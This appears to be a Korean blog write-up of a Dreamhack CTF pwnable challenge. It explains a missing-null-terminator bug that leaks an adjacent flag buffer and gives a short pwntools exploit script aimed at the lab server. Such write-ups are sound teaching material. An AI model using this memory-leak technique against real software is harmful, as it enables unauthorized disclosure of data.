ifstream 객체의 read는 C언어의 read 함수와 동일함. null byte를 추가하지 않으면 memory leak이 가능하다.
read_buffer[64], flag[64]로 연속되게 할당된다.

IDA로 확인해보면 readbuffer, flag, writebuffer가 연속되게 위치하는 것을 알 수 있다.
만약 readbuffer를 null byte 없이 64byte를 꽉 채운다면, 출력 시 연이은 flag까지 출력할 수 있는 취약점이 있다.
from pwn import *
context.log_level='debug'
p = remote('host3.dreamhack.games', 12914)
def read_file():
p.sendlineafter(b'[*] input : ', b'1')
def write_file(str):
p.sendlineafter(b'[*] input : ', b'2')
p.sendlineafter(b'Enter file contents : ', str)
def show_contents():
p.sendafter(b'[*] input : ', b'3')
# write to readbuffer variable without NULL terminator
write_file(b'A'*64)
# write to flag variable
read_file()
# trigger memory leak
show_contents()
p.interactive()
2번에서 readbuffer를 64바이트를 꽉 채우고(null byte 없이),
1번으로 read_flag를 실행해서 flag를 전역변수에 적은 후,
3번으로 show contents를 하면 플래그가 출력된다.

| [Dreamhack] block bof (pwnable) (0) | 2025.07.07 |
|---|---|
| [Dreamhack] cmd_center (pwnable) (0) | 2025.04.21 |
| Dreamhack CTF Season 7 Round #6 (🌱Div2) struct person_t (0) | 2025.03.30 |
| [Dreamhack] Firmware Extraction Practice (1) | 2024.03.05 |
| [Dreamhack] Return to Shellcode (0) | 2024.03.03 |